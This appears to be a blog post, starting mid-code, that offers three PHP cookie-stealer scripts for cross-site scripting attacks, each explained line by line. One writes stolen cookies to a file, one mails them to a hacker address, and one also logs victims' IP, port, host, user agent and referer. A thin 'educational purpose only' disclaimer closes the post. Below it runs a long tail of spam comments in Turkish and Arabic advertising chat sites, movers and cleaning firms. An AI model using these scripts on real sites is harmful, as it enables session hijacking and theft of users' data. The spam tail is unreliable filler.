$cookie = $HTTP_GET_VARS[“cookie”];
$steal = fopen(“cookiefile.txt”, “a”);
fwrite($steal, $cookie .”\n”);
fclose($steal);
?>
$cookie = $HTTP_GET_VARS[“cookie”]; steal the cookie from the current url(stealer.php?cookie=x)and store the cookies in $cookie variable.
$steal = fopen(“cookiefile.txt”, “a”); This open the cookiefile in append mode so that we can append the stolen cookie.
fwrite($steal, $cookie .”\n”); This will store the stolen cookie inside the file.
fclose($steal); close the opened file.
Another version: Sends cookies to the hacker mail
<?php
$cookie = $HTTP_GET_VARS[“cookie”]; mail(“hackerid@mailprovider.com”, “Stolen Cookies”, $cookie);
?>
The above code will mail the cookies to hacker mail using the PHP() mail function with subject “Stolen cookies”.
Third Version
<?php
function GetIP()
{
if (getenv(“HTTP_CLIENT_IP”) && strcasecmp(getenv(“HTTP_CLIENT_IP”), “unknown”))
$ip = getenv(“HTTP_CLIENT_IP”);
else if (getenv(“HTTP_X_FORWARDED_FOR”) && strcasecmp(getenv(“HTTP_X_FORWARDED_FOR”), “unknown”))
$ip = getenv(“HTTP_X_FORWARDED_FOR”);
else if (getenv(“REMOTE_ADDR”) && strcasecmp(getenv(“REMOTE_ADDR”), “unknown”))
$ip = getenv(“REMOTE_ADDR”);
else if (isset($_SERVER[‘REMOTE_ADDR’]) && $_SERVER[‘REMOTE_ADDR’] && strcasecmp($_SERVER[‘REMOTE_ADDR’], “unknown”))
$ip = $_SERVER[‘REMOTE_ADDR’];
else
$ip = “unknown”;
return($ip);
}
function logData()
{
$ipLog=”log.txt”;
$cookie = $_SERVER[‘QUERY_STRING’];
$register_globals = (bool) ini_get(‘register_gobals’);
if ($register_globals) $ip = getenv(‘REMOTE_ADDR’);
else $ip = GetIP();
$rem_port = $_SERVER[‘REMOTE_PORT’];
$user_agent = $_SERVER[‘HTTP_USER_AGENT’];
$rqst_method = $_SERVER[‘METHOD’];
$rem_host = $_SERVER[‘REMOTE_HOST’];
$referer = $_SERVER[‘HTTP_REFERER’];
$date=date (“l dS of F Y h:i:s A”);
$log=fopen(“$ipLog”, “a+”);
if (preg_match(“/bhtmb/i”, $ipLog) || preg_match(“/bhtmlb/i”, $ipLog))
fputs($log, “IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE: $cookie <br>”);
else
fputs($log, “IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE: $date | COOKIE: $cookie nn”);
fclose($log);
}
logData();
?>
The above Cookie stealer will store the following information:
Ip address
port number
host(usually computer-name)
user agent
cookie
This Article is for Educational purpose only(written for Ethical Hackers).
Eskişehir
ReplyDeleteDenizli
Malatya
Diyarbakır
Kocaeli
2OB3
Diyarbakır
ReplyDeleteKırklareli
Kastamonu
Siirt
Diyarbakır
2E66
Gümüşhane
ReplyDeleteKaraman
Kocaeli
Sakarya
Samsun
6PK
ankara
ReplyDeletesakarya
tekirdağ
kastamonu
amasya
P6DFZ
ankara parça eşya taşıma
ReplyDeletetakipçi satın al
antalya rent a car
antalya rent a car
ankara parça eşya taşıma
NKTB
uşak evden eve nakliyat
ReplyDeletebalıkesir evden eve nakliyat
tokat evden eve nakliyat
kayseri evden eve nakliyat
denizli evden eve nakliyat
1LQW
643B8
ReplyDeleteBitlis Parça Eşya Taşıma
Gümüşhane Lojistik
Tokat Lojistik
Sakarya Parça Eşya Taşıma
Kayseri Evden Eve Nakliyat
541DD
ReplyDeletereferans kodu %20
EBB51
ReplyDeletekaraman bedava sohbet
kırşehir görüntülü sohbet siteleri
canlı sohbet sitesi
kayseri görüntülü sohbet uygulama
sohbet siteleri
rastgele sohbet
amasya en iyi ücretsiz sohbet uygulamaları
kırşehir ücretsiz sohbet odaları
mersin goruntulu sohbet
055A4
ReplyDeletekastamonu canlı görüntülü sohbet
diyarbakır görüntülü sohbet odaları
sivas rastgele görüntülü sohbet uygulamaları
eskişehir mobil sohbet chat
malatya parasız görüntülü sohbet uygulamaları
çorum görüntülü canlı sohbet
tekirdağ canlı sohbet siteleri
bitlis yabancı sohbet
burdur kadınlarla rastgele sohbet
7DC1A
ReplyDeleteErzurum Canli Goruntulu Sohbet Siteleri
uşak goruntulu sohbet
amasya sesli sohbet odası
Niğde Canlı Görüntülü Sohbet
tekirdağ ücretsiz görüntülü sohbet
mersin bedava sohbet siteleri
karaman sesli mobil sohbet
Ordu Bedava Sohbet Siteleri
görüntülü sohbet uygulamaları ücretsiz
FGBVFDCGBF
ReplyDeleteشركة تنظيف مسابح بجازان
شركة مكافحة حشرات بجدة AGxkczGTY2
ReplyDeleteتسليك مجاري بالهفوف jVyIxEWbAI
ReplyDeleteرقم مصلحة المجاري بالاحساء 67cpHTut9v
ReplyDeleteشركة مكافحة النمل الابيض بالدمام 74LTwcC4bW
ReplyDeleteشركة عزل اسطح بالاحساء p26uhdc2VS
ReplyDeleteشركة عزل اسطح بالافلاج v3QzcwKq8v
ReplyDelete